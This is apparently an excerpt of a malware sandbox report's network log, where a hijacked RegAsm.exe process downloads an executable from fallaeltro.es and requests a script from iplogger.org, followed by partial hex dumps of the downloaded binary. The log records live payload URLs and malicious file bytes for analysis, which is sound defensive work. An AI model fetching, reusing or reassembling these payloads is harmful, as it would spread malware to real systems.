2024-09-11 14:22:19 UTC	8000	IN	Data Raw: b9 b7 60 e0 1b b6 03 66 99 8b 0e 90 a9 4b 7b 4f 10 dc 47 63 da 8f af 36 63 4c 05 97 cb 4a c3 ea 5b e8 64 00 d8 e5 74 d9 72 ab cf f8 0c a4 21 a5 67 3d ae 97 4c 75 b7 ef 4c 6e 7e 98 c8 59 09 f3 2a 37 04 91 5e d8 61 a5 f6 66 02 a1 b0 ed b4 13 fb e0 c3 61 1f 5c 39 15 01 01 fe 27 24 00 93 14 09 ce a3 1d c3 19 81 71 c0 0f 87 34 59 b3 08 9a 95 01 7f 32 ef 50 25 91 66 35 28 b8 2b d1 bc 29 ee 98 1f b3 1f 1d 3c 79 c1 37 7e 29 55 2b c9 b5 2e bb 33 fa e2 0c 85 a4 d9 94 06 db 8b 89 5e 8e 92 fb 79 ef ba 72 b6 82 05 5d 75 25 2e 98 6e 8f f7 b1 7b 99 42 32 e1 1f 03 ea c8 bb ae 87 bf 00 88 b0 e2 7b 57 b7 cb 90 5d 6e bb c4 6d bf 67 db 97 36 43 6a bb e7 36 fd 05 b6 99 ed d4 f0 ac 3a 02 31 c1 90 7e a2 25 85 0a cf ef 75 ba fd e2 7a 7f 59 f9 94 56 67 e4 20 8c 28 84 8b fa e1 2f Data Ascii: `fK{OGc6cLJ[dtr!g=LuLn~Y*7^afa\9'$q4Y2P%f5(+)<y7~)U+.3^yr]u%.n{B2{W]nmg6Cj6:1~%uzYVg (/
2024-09-11 14:22:19 UTC	8000	IN	Data Raw: 6c 8f ed c9 63 ae 29 51 da e9 c3 29 12 31 20 f7 7a a9 55 31 07 62 4f ad fa 9e 6d 49 51 4d 8c 62 89 33 6b ae 70 86 98 ba 03 07 6b 37 ac 29 34 6c c5 27 89 05 62 96 c6 79 04 b8 b4 40 05 56 ab d4 5c 4b 6c d4 e2 8f 3e 92 d5 ca e9 d8 72 8e 4c 8a a8 df f2 f0 c3 81 fc 49 59 08 5e dd 3f 02 9a 19 da f2 05 b7 1b de 45 19 fb fa d2 b6 bd 6a 62 e9 d4 05 1c d3 dc 29 96 34 22 81 73 a5 9c 64 de 66 19 1f 62 98 9c 9d 2e 4e ec c7 eb c6 f7 ea d6 8d a1 d9 b1 5a a8 50 e9 6d c2 e3 01 b1 2f 96 5f 2b 6c 1f 2f aa da 95 9c c2 54 52 89 6d ed 0c 51 a5 d2 9b ca b1 b9 be 15 89 2f 0c 06 0e 04 b8 76 35 83 23 bf ce 64 4d af 40 e6 4d 92 25 08 77 2e 51 6e 5e c1 a8 4f 80 f7 e4 51 32 b2 64 50 2f 00 88 74 4a 75 47 17 b3 6c c9 5b 91 d9 ad f6 23 e3 36 73 18 7b ae 7e 22 a2 90 0e 16 2d 65 18 bd 4d Data Ascii: lc)Q)1 zU1bOmIQMb3kpk7)4l'by@V\Kl>rLIY^?Ejb)4"sdfb.NZPm/_+l/TRmQ/v5#dM@M%w.Qn^OQ2dP/tJuGl[#6s{~"-eM
2024-09-11 14:22:19 UTC	8000	IN	Data Raw: 3c a9 3d a1 21 28 fc 3e 4d 01 aa 7b 42 c2 36 0b 61 c9 76 f1 06 0c 5c f4 bb 5d aa 33 6a eb a5 1e 17 bd ad ed 0f 12 b0 e9 12 54 40 33 e6 23 ae 72 a7 7b de 53 fb 62 d1 7a 2a 49 0e ef d6 0b 9b 65 61 46 ba 44 9f d8 97 71 36 ff 0a 5e 9b c4 7e df 4b a7 ce 9d 70 c7 c9 8c 48 86 30 3e 4f c7 94 8b e4 8b 47 ad 05 78 7d e5 ee d0 ba 6a 25 36 e2 34 1a a8 4a 9e 0e 62 a6 ef c5 91 a4 ec c8 15 f9 73 4d fb 7d f1 59 b0 01 1e 51 f5 1d 7d 4a 49 77 40 2e bf 92 49 78 ee d2 59 28 80 dd 35 6d 30 9c 0d 37 ea 2e b3 0f ea 1a ad 38 d4 18 e2 3d ba 81 81 99 80 dd c1 2d 63 a3 91 f1 8f ac 31 04 31 bc cb 37 fd b1 25 e2 c0 de 9e 53 0b 3a 4d 14 be 5c 6f ec 06 42 4f 33 77 04 92 d4 74 0d 5e 13 82 30 65 a9 6e 7c 5a 43 59 6e cc a0 5d fc d1 0e d1 e5 9a 65 db 6b f6 69 92 d2 a0 6e b1 2b 90 ff 9b 28 Data Ascii: <=!(>M{B6av\]3jT@3#r{Sbz*IeaFDq6^~KpH0>OGx}j%64JbsM}YQ}JIw@.IxY(5m07.8=-c117%S:M\oBO3wt^0en\|ZCYn]ekin+(
2024-09-11 14:22:19 UTC	8000	IN	Data Raw: 02 3a c1 5e 34 8c 54 c8 54 36 1a ee 01 84 82 66 59 49 6f 38 1e fa 66 f4 75 55 e9 9c 0b 35 c0 b5 61 51 d7 48 47 fb 00 8f 59 4a 80 04 61 a1 a6 00 4c 37 6f 56 f7 bf 46 dd 83 f6 da 87 77 ae 3b 81 b7 de 5b 18 f3 09 f9 d4 c9 ca 35 9a 9c 14 ff 13 a1 32 df b4 90 ab 42 dd 40 9b a7 51 25 1f 85 e4 db 32 ed c8 26 75 86 c3 5e 0c f1 89 21 12 fe 4c 72 ec 4f b5 53 be 99 1e c5 4c ec 95 74 1e 94 2a e8 a3 38 dc 12 42 6e ed 0a 5b 46 f0 2d c0 00 3e bf da f6 e8 e8 70 be 13 08 7c 67 39 d9 de be 0b fc 83 96 40 ca 7f da ae c0 0e 22 51 fc 19 b3 ed 77 2c 52 98 d4 c8 32 f7 af 27 6a d0 ad 7e 98 2a 08 da e9 ed 32 14 a0 40 28 b0 f2 f6 98 11 4f 46 c6 98 f9 e7 ea 67 8f d6 b5 b5 8b a3 ef 84 1c 57 c7 79 ff 07 0d 71 69 57 31 4e 83 66 7c 5c ad 1e 5b 72 9c 85 9c f8 85 61 8f c2 17 b3 66 e5 09 Data Ascii: :^4TT6fYIo8fuU5aQHGYJaL7oVFw;[52B@Q%2&u^!LrOSLt8Bn[F->p\|g9@"Qw,R2'j~2@(OFgWyqiW1Nf\|\[raf
2024-09-11 14:22:19 UTC	8000	IN	Data Raw: 47 47 94 31 00 58 b4 0e 32 64 73 0b 13 2a b7 25 59 0d 19 26 76 77 5d 42 98 53 27 19 bb 48 4d 91 2b f1 ec f0 9f b7 02 ff 7e c4 44 5c 1a 65 b1 85 46 d6 64 85 5b aa 15 8c 50 9c ab 90 3e e3 1b cd f6 81 04 65 6a 65 81 94 63 07 c8 57 82 06 cd 5d b4 58 86 24 87 a2 68 0e 37 6c cc ea 89 52 d1 6b 35 f2 8a 27 27 5f 03 67 79 72 30 b1 21 19 e9 50 bf 18 cc ee ea a6 49 73 76 5e af c0 d1 c3 b8 ba 7c 13 d3 74 e4 26 e4 6d 85 8b ba ff 24 32 38 c9 a5 72 b9 47 2e 98 85 2d 2b e5 84 0b 37 83 3c a1 b4 3d d1 45 3d 66 0e 72 43 ca 22 a1 0d 09 f5 0b 4e 46 30 9c 71 94 79 87 0b 09 b5 38 a8 a4 50 5a 36 67 e9 4e 5b 55 ab 3f 46 10 4d b8 74 30 e3 81 ab bf 5c d3 89 a2 ab 3c 01 4a 33 3e 56 4c 22 61 91 73 d5 b3 35 b5 25 3e d2 fe b7 22 b2 e8 ba 01 bc dd 3a 1e 0d f4 f2 22 96 16 45 ad 2e 7f 4d Data Ascii: GG1X2ds*%Y&vw]BS'HM+~D\eFd[P>ejecW]X$h7lRk5''_gyr0!PIsv^\|t&m$28rG.-+7<=E=frC"NF0qy8PZ6gN[U?FMt0\<J3>VL"as5%>":"E.M
2024-09-11 14:22:19 UTC	8000	IN	Data Raw: 88 62 6f de 49 73 8f a2 5a 5d 0c b7 84 52 35 f7 d0 d0 1c 56 72 d4 ba fe 67 28 3e 7d d8 49 d6 9d cf 1b c5 45 c7 f7 59 5d 0b ea 64 b1 6c 83 9c a6 91 8f 51 94 f6 12 13 9a 9d 55 aa d3 6e 1f 02 d2 6c 0f fe 00 a6 ff 62 64 6f cb 71 3b 5d 2e b0 6b b1 19 eb 56 3a d7 bf 15 58 cc 28 67 87 31 f8 8a bd 47 b3 af f3 53 59 a9 df 18 e3 98 51 65 77 a4 83 9b 71 43 63 88 6a 04 bd c9 e4 a6 1d bb 45 5c ee 0f 4d 41 dd 6c 5b f0 ed 7f 90 6c ff 52 d8 d1 de 7a 5a 4d a6 24 d1 2b 54 05 54 41 af 02 f9 16 e8 47 f5 74 8b 2f 7c 5c ef 3d b6 b8 bb c4 e0 20 04 5e de 27 00 e1 43 e2 81 8a 57 d6 cf 10 bd 77 68 52 51 9c d6 d8 ba d7 a3 3e e2 db 09 27 91 21 48 97 25 9f f3 ef 59 84 c7 3a 4f 9b dc 75 92 29 70 ea 51 53 aa 8a ae 9e f6 91 a4 71 2e a7 65 e4 b9 40 0c 02 b7 b7 f1 72 ec 5c 8a 41 f7 b0 2a Data Ascii: boIsZ]R5Vrg(>}IEY]dlQUnlbdoq;].kV:X(g1GSYQewqCcjE\MAl[lRzZM$+TTAGt/\|\= ^'CWwhRQ>'!H%Y:Ou)pQSq.e@r\A*
2024-09-11 14:22:19 UTC	8000	IN	Data Raw: 35 c5 9d 51 47 17 8f 58 83 50 41 98 91 79 05 fd e0 6f 45 71 ec b2 b1 9b 58 10 3f f2 e2 c3 ad bb ad 65 82 f2 7f 7c 8b 6a 71 f8 0c b4 de 89 7b 02 88 aa 23 02 0e c7 fd 08 64 21 18 30 f9 56 70 88 84 69 55 36 57 1c b7 6c da 1c e4 62 c6 6d 71 0b 0b 9e 30 c0 c6 40 89 24 65 e6 63 34 bc 14 f6 cf 49 69 cc 80 81 6c 75 35 71 33 7d 10 45 80 74 a2 d6 37 bd 04 d5 5f aa 81 32 72 0d 02 43 f2 05 3d ff a8 64 ba c3 0d e3 a0 99 d5 0a c2 84 7d 57 8b 93 2e 46 f8 ad b9 d8 d0 bb 8d d2 a8 22 a5 8b 9c 95 68 e8 d0 a3 64 e5 d7 24 1d d1 11 bd 69 51 aa 97 f2 0b e1 cd f9 8c 32 cd dd 2c 11 98 6b 5f 99 04 8d 43 0b d4 d0 ac db c4 93 62 98 28 49 d5 c8 6e d5 db b3 9f 46 9a c9 85 a0 8f ba 9e 1b 98 e9 56 16 55 84 8a ee e9 32 a7 59 01 f0 ba ea 3b 87 1d 4a f8 60 7e d7 a8 cd 4d cb b4 09 99 a5 11 Data Ascii: 5QGXPAyoEqX?e\|jq{#d!0VpiU6Wlbmq0@$ec4Iilu5q3}Et7_2rC=d}W.F"hd$iQ2,k_Cb(InFVU2Y;J`~M
2024-09-11 14:22:19 UTC	8000	IN	Data Raw: 16 5d b8 5e f7 95 d2 18 e7 6d c8 a5 82 4b 9f c9 31 9a 79 1c 5b a5 aa 96 22 b2 76 01 db a9 8b 8d df 49 e3 fa 44 29 0b 9d 8f 4d 33 cc 2b ca e3 14 ff 7c 30 43 0e 2e a7 70 4f 5e 3a 32 0a 18 c9 be e6 ed db 4d b2 e5 c2 fd a7 1e b0 2d 70 3e c8 28 cb e1 7b 08 cc 69 44 22 12 f6 4d c1 6d 47 8a 34 87 30 ba f0 c7 1b ae f7 c5 4c b5 7a a1 86 52 fd dd 40 2c 49 b1 b5 c0 43 37 0c a1 f5 b3 c8 d7 6c 29 0f 96 79 27 d0 6b da 97 62 51 d2 2f 16 31 87 b4 9f d4 74 45 a4 8f cf 38 77 78 d7 27 ac e8 13 eb 95 7f e6 ce cf 6c 3a 27 6d 76 3a 43 f6 73 6a 2b 05 c3 72 74 b9 aa 05 3b 25 c2 9b 81 b3 a5 50 de fa 7e 1a ce 41 b6 90 33 95 8c dc 8c 73 b1 51 f0 9c 9c 54 51 a0 33 f6 e6 3f 96 3f 8f 70 83 e4 80 4c 03 a6 89 0c f0 ed e7 f9 34 30 a4 58 8e ab fb e7 52 58 b3 84 eb 6f eb a1 f2 e0 02 50 57 Data Ascii: ]^mK1y["vID)M3+\|0C.pO^:2M-p>({iD"MmG40LzR@,IC7l)y'kbQ/1tE8wx'l:'mv:Csj+rt;%P~A3sQTQ3??pL40XRXoPW
2024-09-11 14:22:19 UTC	8000	IN	Data Raw: 8c 98 04 e7 3c a1 e2 7e c9 6f 68 b6 23 9a 39 8f 76 ff aa 89 91 c8 36 88 49 8d a1 e6 bd 6a f2 89 a7 98 c8 af f3 43 e5 fd fc 93 37 a6 e5 ed 92 2f ef 1b b8 87 30 23 79 d1 c8 0f 86 ca 79 3c 76 79 f6 9a a3 3e 0b 93 4e 87 d2 00 e3 1d 4d 3f 71 6f c6 8f c2 78 be 68 46 58 15 c8 39 a6 23 59 bb 3d 15 f8 f3 44 f4 94 63 f0 ef 68 30 ce bf 33 62 d3 9b 90 83 d2 37 39 c8 af 5f 49 6e 5e 70 db 1c c9 4e 6b 3a 08 54 09 a6 32 56 d2 21 51 c6 21 db fc c1 6c 6b 93 f0 fd 93 e4 26 8d 30 88 15 cd 7e a4 98 bf 89 14 0c 7d 55 ee 2e 50 ac ca df 7f af 86 24 0b 3c 3e d6 0a 01 68 24 50 5d 06 d6 77 69 9f e1 81 5c 92 4e 72 2c ad 7b 29 8c e8 e9 61 cb 0d 3c e2 99 35 90 91 c6 24 9f c2 09 2d 61 37 02 bc c8 7d 5c 90 bc d1 ee 26 71 8b 17 6c 9b ac a1 5b 9b 37 ca 4a 0d ac 2d 9f 58 49 8b e1 2d 23 f1 Data Ascii: <~oh#9v6IjC7/0#yy<vy>NM?qoxhFX9#Y=Dch03b79_In^pNk:T2V!Q!lk&0~}U.P$<>h$P]wi\Nr,{)a<5$-a7}\&ql[7J-XI-#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49755	37.153.95.99	443	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:22:20 UTC	200	OUT	GET /vtrwh12.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: fallaeltro.es Cache-Control: no-cache
2024-09-11 14:22:20 UTC	223	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 14:22:20 GMT Server: Apache Last-Modified: Wed, 11 Sep 2024 05:23:57 GMT Accept-Ranges: bytes Content-Length: 289832 Connection: close Content-Type: application/x-msdownload
2024-09-11 14:22:20 UTC	7969	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 0f 29 e1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3c 04 00 00 08 00 00 00 00 00 00 5e 5b 04 00 00 20 00 00 00 60 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 04 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL)f<^[ `@ `
2024-09-11 14:22:21 UTC	8000	IN	Data Raw: 0c 06 8a 35 89 0f 92 27 8a 21 e6 d9 5f bc 14 70 38 c7 c0 b3 57 4d 01 b2 6d 75 2c 64 aa dc cf 45 74 cc 6c cb 44 5c 50 ec c2 89 ae fe 1f 79 81 ad d9 72 88 68 5f 00 33 9b 61 1f 14 3f 87 ae b4 e1 03 b9 23 ae 25 90 1f 44 7b 4c 6e 81 68 2c 3d aa 5f d6 8f ac b7 b7 ce 26 cc fb 16 9b 2f 69 20 3a d0 12 d1 48 d9 8c 5e 4d 5b 28 b1 86 d5 1b 4c 43 09 a5 20 17 fa 15 15 fb 55 aa 4a c9 f6 fb 18 9a d9 17 3a fe 85 1f 0c 21 01 ea c6 ab a7 fe c9 87 81 11 d0 5b eb 52 14 f9 18 ef 12 85 6b 80 a5 77 82 62 cb 76 ce 95 bc 79 b0 70 5e 8b 0c c0 39 9a 17 9e ca 9e ff b0 28 2d ec 71 1d 27 09 69 45 c0 c8 24 86 8b d6 e0 da 6c 8c a8 a5 eb c4 dc 01 d9 f0 84 84 a1 5a 90 42 9c 3d fb a3 0d a8 e9 5c 76 58 9d dc 07 97 b1 65 8b 23 c8 a8 56 d1 30 0c b0 71 6a 53 2c 38 7e d4 3f 56 05 57 50 f4 5b 98 Data Ascii: 5'!_p8WMmu,dEtlD\Pyrh_3a?#%D{Lnh,=_&/i :H^M[(LC UJ:![Rkwbvyp^9(-q'iE$lZB=\vXe#V0qjS,8~?VWP[
2024-09-11 14:22:21 UTC	8000	IN	Data Raw: b6 c5 ee a1 63 08 82 ce b5 7f f1 7f cc f8 3f d1 f0 0c 92 59 71 79 6e 31 31 cb 43 24 09 6f 00 4f 3d 63 fb ee 95 a6 29 24 91 75 a9 77 3c cd ca c0 6c 83 40 50 12 7d 10 4a b6 fb 70 bf db cf aa 06 4d c3 e8 cb 47 15 0f 07 0f 98 40 00 db e4 45 e1 e1 8b 5d 77 85 5e c7 81 4b 29 1b 24 25 5a e0 e5 44 78 3a c4 02 ad 7e 2b 35 1f d0 f7 d8 53 f6 60 7c bb 26 df 59 dd 09 48 39 62 d4 a7 6a 30 0a a0 52 e5 08 5f 74 af 0a 7e 7c b5 1c b6 d2 aa e8 0f af ae 2c 1f ea 57 df 89 e3 b3 6c 14 24 3a bd 6d 70 41 df 4d b9 32 56 8e f8 8a 64 12 42 2f e2 02 93 7e 34 8b aa 87 cf dd 77 03 06 ee d6 2d 0b e8 b6 b7 cf b4 58 f6 ca 87 27 a7 59 cc 9a 66 fe 15 75 e0 8c c3 ff f9 94 5c 1d 2d 43 7e 56 a2 2b b6 74 2f 26 3d 1a d8 fb 1f bf 3c 06 63 33 48 93 74 ef 92 64 10 3b d8 2e f4 47 37 94 ca 59 a7 fb Data Ascii: c?Yqyn11C$oO=c)$uw<l@P}JpMG@E]w^K)$%ZDx:~+5S`\|&YH9bj0R_t~\|,Wl$:mpAM2VdB/~4w-X'Yfu\-C~V+t/&=<c3Htd;.G7Y
2024-09-11 14:22:21 UTC	8000	IN	Data Raw: 97 20 5e 42 03 31 28 df 1f c6 b2 98 16 3d 9c 20 eb 3f 7e 02 94 20 f3 d8 43 b2 69 cc c4 ad 08 c5 c4 39 f8 f2 33 78 4d 7a 8e b7 dc e5 77 f9 6f 64 68 29 e0 df 64 3b 1b 1c 95 9c 78 1d f5 fa 10 ef 50 d3 d9 dd b6 5f df f7 96 3f 50 07 01 bc 46 b2 d1 a5 e7 8f de a0 27 07 fc eb 81 f6 71 a1 7e 32 e6 f4 19 11 9a 48 e4 5c 7e 94 01 76 22 b9 14 11 0a f0 4b b2 ac be b1 fb 96 7f a1 c2 ee 15 bc 0d ce 8c cb 53 7a 38 c8 04 57 c0 e5 6b ff be 77 26 b2 72 62 b7 d1 b3 7f c7 a0 c8 d5 cb 1a b6 1c a5 a9 dc e5 d4 37 ac 5d 01 f8 29 61 27 c9 34 8e b3 25 e1 5a bd 9b 23 db 45 54 87 6d 1f 40 2a 91 1d 6e 43 6f e8 a8 1e 33 90 7e 73 94 88 23 bd 3d 84 fe ef a1 16 68 fc fb ba ff 16 f3 f4 54 a0 af ed ad 32 74 af 34 0f d3 b0 27 c0 cf 4c 9c 03 67 49 64 9d 37 36 f4 ee d6 b1 18 2b 10 cf 30 a3 8a Data Ascii: ^B1(= ?~ Ci93xMzwodh)d;xP_?PF'q~2H\~v"KSz8Wkw&rb7])a'4%Z#ETm@*nCo3~s#=hT2t4'LgId76+0
2024-09-11 14:22:21 UTC	8000	IN	Data Raw: ee 54 3b 01 71 62 26 46 32 a3 63 2a 69 bb 5e 98 e9 53 c5 9a 61 1c 48 be 53 4d 27 aa f2 a8 49 1f 09 04 24 c6 4d 77 56 e6 c4 05 a5 8e 34 ab c2 b9 c2 31 63 ec f0 72 a7 65 ac ba a2 34 a9 ba 57 7c e6 60 3a c2 4a 7f ff 5a 49 f1 db 67 c0 f9 1f 7e 84 6a 88 7b 55 3d 1b a8 d2 28 14 1a fc ac d0 bd ae d2 7d 17 6e b6 1a bf b4 06 38 2a 84 90 79 c2 1a a3 67 71 2a 84 35 ed 19 4f 62 87 e0 85 df 67 ea d8 e1 43 96 fb b0 8c 46 33 00 7d c7 6f 77 cf d3 2f 3d 01 aa 4a bb 12 f0 04 f6 bb 39 31 c6 be 47 a1 9e f1 5a a3 c3 67 f9 e1 bf c0 12 76 b2 11 27 be d2 7c 06 2e 11 0f b9 fb 1e 1f fe e6 19 49 82 14 b6 69 01 b9 ed 18 d8 fc f4 15 d8 a8 0b 25 bd 90 a3 51 61 e8 cb c9 00 12 12 0c 9e 8b 7d de c3 67 51 fe a0 ee d3 e0 e0 29 b1 da c1 99 fe 59 ac 41 0d ff 9f 82 fb 1e 43 53 5c 08 ac 4b 17 Data Ascii: T;qb&F2ci^SaHSM'I$MwV41cre4W\|`:JZIg~j{U=(}n8ygq*5ObgCF3}ow/=J91GZgv'\|.Ii%Qa}gQ)YACS\K
2024-09-11 14:22:21 UTC	8000	IN	Data Raw: f6 4b e3 00 f0 06 bf b2 1f e1 11 2a 41 a1 47 55 b6 38 a4 83 8b f3 57 a5 89 fe 5c 76 cc 10 42 f2 ef 73 8b 0e 8c 94 c3 67 5a c4 dc 20 0b 70 67 e6 5e 06 1d 5b 21 1b 10 6f 34 37 58 7f 02 53 56 2f f8 7a 05 71 39 3b 88 8f 22 aa 9e d3 bd 45 2d 9b 9c 13 1e d4 ff 94 33 f6 0c 40 60 26 c5 ce 12 cc 46 9e f9 02 69 d5 97 7e db 7d d9 85 d4 38 09 56 be c7 40 b7 df 50 f7 10 ba 11 db 47 e7 d4 15 59 a7 cc 1a 9d 70 0f bf d1 a0 f1 32 bf f6 e8 bf 21 8a 8e 2e f0 27 bd e8 99 98 a0 07 69 86 1a 22 1a 5a 95 88 cb 8f 58 8d e2 4d af 4e 84 fa 24 38 5e 7c e4 cd a8 a3 a6 cb 10 86 33 43 c4 29 b3 0c 50 8e 8c 79 ae 79 fb 4b 47 ac 45 bd ce 30 a4 f4 f2 58 28 31 b3 06 a4 d6 de 03 8b b7 28 57 c0 f8 09 e1 0b c3 d6 cc ec 3e ff 6d ef ff ed ab 01 08 c3 61 7d 3b c3 3b 13 33 4a 95 d0 94 17 bb af 5c Data Ascii: K*AGU8W\vBsgZ pg^[!o47XSV/zq9;"E-3@`&Fi~}8V@PGYp2!.'i"ZXMN$8^\|3C)PyyKGE0X(1(W>ma};;3J\
2024-09-11 14:22:21 UTC	8000	IN	Data Raw: e3 ac 89 78 cb 41 5c b3 fa 93 ae df 6a 15 8a 7f 04 84 2f 44 75 80 36 9d 74 49 43 fd 0f 91 8d b1 43 27 f1 9a c1 22 02 64 45 55 a8 13 bc 2d 31 72 3a 90 d0 1d 51 d0 4e 92 08 84 dc 6d b0 bc 14 a3 e3 e8 43 16 2a 3b 43 68 17 12 fc cc 92 27 08 03 91 70 1b bb 78 cb 91 96 02 44 2d d5 97 63 31 0f fe ae f1 c6 b4 9e 23 e6 33 73 42 de cd 35 47 dd 67 0e 22 49 3a 43 bc de 6f d0 8c b8 a0 a7 e3 7a 35 21 f2 12 5f 55 2b cc a8 2f 21 e7 69 90 49 d2 d0 76 79 21 ba 6f e5 ef 42 90 b1 87 74 56 39 8f 5a 45 76 cb bb 52 41 e0 3e 5a db cd 86 13 eb 27 bd 95 51 99 eb d6 10 31 00 72 52 ca fc 45 3c 66 23 f3 7e a9 b7 6b 59 d8 15 99 1a 0d 7d 51 82 ba ee f8 1e 5d 84 36 3e 1b 1a 17 66 a5 96 c6 52 a2 d3 2f 2f bc f0 24 1e b8 87 8a a5 89 7f d6 f9 88 c0 b7 2c 0b 1c a8 e0 3d c6 0a ec 9d d5 d6 32 Data Ascii: xA\j/Du6tICC'"dEU-1r:QNmC*;Ch'pxD-c1#3sB5Gg"I:Coz5!_U+/!iIvy!oBtV9ZEvRA>Z'Q1rRE<f#~kY}Q]6>fR//$,=2
2024-09-11 14:22:21 UTC	8000	IN	Data Raw: 34 87 58 02 b7 8f 80 08 70 78 3d 14 78 27 b2 19 a7 01 30 4f 33 84 29 7c db 59 1e 9b 4b 68 5e 55 2e 8f 91 bb 85 9b 25 ad 64 d3 77 c6 5b c1 5a c7 38 4a ea e0 e4 77 be d0 85 bf 87 97 15 c7 7e 1f 15 15 01 7b 3d e0 05 a0 eb 73 84 00 24 95 d4 0c 5d 8a 53 2e 7f e0 ce ec c0 2a 6f ad 8b a5 31 eb bf 69 6b 54 49 3a 51 79 e0 2e 7b ab 76 52 9b 86 f9 cc 17 55 4b 60 be 8b 51 33 43 99 c4 4b 30 a3 11 09 de c2 ca 11 d8 6f 8e 16 87 b3 0d 5a 5f a5 15 7f 23 9e c7 4b 82 b0 c7 53 00 41 39 1e f3 90 9d e1 8a 90 6f 37 3e 17 c5 8e c3 40 a3 bd 03 ae 46 1f e1 82 ca 38 22 7e 1a f7 57 a8 a2 2e bc 54 0d bd 4b 5b 94 ad bb 99 53 95 df 78 f9 f5 0d ae 6f 1e 19 65 17 56 82 65 2a 2b d3 18 f5 87 7e c1 e2 dd d6 e4 fd 07 5b 15 96 82 22 60 6f da 4e d7 c5 aa 71 7f 5c 2d 8b 3d ed 54 af 35 b4 89 53 Data Ascii: 4Xpx=x'0O3)\|YKh^U.%dw[Z8Jw~{=s$]S.o1ikTI:Qy.{vRUK`Q3CK0oZ_#KSA9o7>@F8"~W.TK[SxoeVe+~["`oNq\-=T5S
2024-09-11 14:22:21 UTC	8000	IN	Data Raw: 66 86 de b6 2f 87 92 fa a7 15 76 35 bb 61 d7 7b 92 52 56 2c 2d 80 93 54 bd 32 33 f9 81 14 83 0d 10 0c 5c 32 6e 88 12 06 ef 01 40 cd db 9b 45 db 3b b1 c8 b2 18 05 ab fa 66 08 e8 b6 0b 1f 92 cc a7 c8 c7 c5 f3 f7 71 f4 71 a8 31 65 db 06 81 f7 e0 b4 ec 4d 92 06 b6 36 e6 0e 12 b0 ae ec 57 fd 8d e6 67 5d 17 54 42 eb 18 c0 62 72 96 d9 8e 32 de 8f ed e0 cb 63 61 2e a7 26 e3 4e ca 39 53 5e b4 df c7 ca de e7 34 34 ac 34 30 ae 84 82 e1 d1 c3 06 07 d1 40 2d d3 1c cc c8 05 e2 d9 0b 2d 6b 93 e5 89 81 f3 b0 b2 5a a0 1b 0b 38 11 3a c4 05 2a 7b ba f6 af 2b 50 1e 0d 10 06 00 43 a2 15 52 cd db 14 c9 f4 2f 8a 2e 87 19 3b c8 c8 0f 56 a2 6f d3 25 8f 9e 6f 73 87 75 2f 67 57 dc 2a 58 2c 54 ce fb fc 7d f5 8b e3 f2 08 13 16 63 fc dc 5f 50 5e 55 6e a2 3a 10 dd 9b 8d aa 76 db 8a 33 Data Ascii: f/v5a{RV,-T23\2n@E;fqq1eM6Wg]TBbr2ca.&N9S^4440@--kZ8:{+PCR/.;Vo%osu/gWX,T}c_P^Un:v3
2024-09-11 14:22:21 UTC	8000	IN	Data Raw: b4 d6 9b e1 e5 1d 84 8b 9f 67 8e 8c 04 4f f4 eb 3c e5 db 03 02 38 b3 73 ec 1f 70 89 c3 8f c9 17 eb 8a c0 5c 27 f6 79 cc 59 dc 13 10 1b da 9c 7b eb 49 25 6a 75 f1 5c 66 58 33 b8 f3 1d 64 52 43 f1 41 3b b3 47 bc b1 67 a9 b0 c6 2d 5a 4b 03 4a 56 fc fa c5 36 2a 02 4a 40 88 7f 9d b6 05 0e d5 85 2b 38 e1 84 29 c1 d3 86 68 65 7f f1 fc 75 2b 06 73 67 aa 29 e5 a8 f5 5e 1e cc 7b 6a d4 45 91 a4 5c c1 01 03 52 5d a9 7c 8d 4f 05 d9 01 9b 0b 00 7e 06 42 aa 52 84 46 35 b7 39 3d bb 85 f2 aa e8 2e 81 ad 01 bd 2b ef a7 e8 2b 4d 9f e6 e5 fb fb e3 87 74 ba 96 f1 57 ee f4 a2 21 23 96 1c 23 a3 c7 ab 10 ec d3 7e 69 cb c3 d7 ba cf 39 20 48 85 fd 89 b3 33 40 73 06 f7 de b6 15 ca 55 58 72 94 c1 c7 72 95 69 4b 24 ae 3e 0a 8c 29 f7 3e 18 68 1c bf 08 af 35 1c 00 59 87 d1 57 00 3b 34 Data Ascii: gO<8sp\'yY{I%ju\fX3dRCA;Gg-ZKJV6*J@+8)heu+sg)^{jE\R]\|O~BRF59=.++MtW!##~i9 H3@sUXrriK$>)>h5YW;4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	63370	172.67.74.161	443	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:22:45 UTC	196	OUT	GET /1nhuM4.js HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: iplogger.org
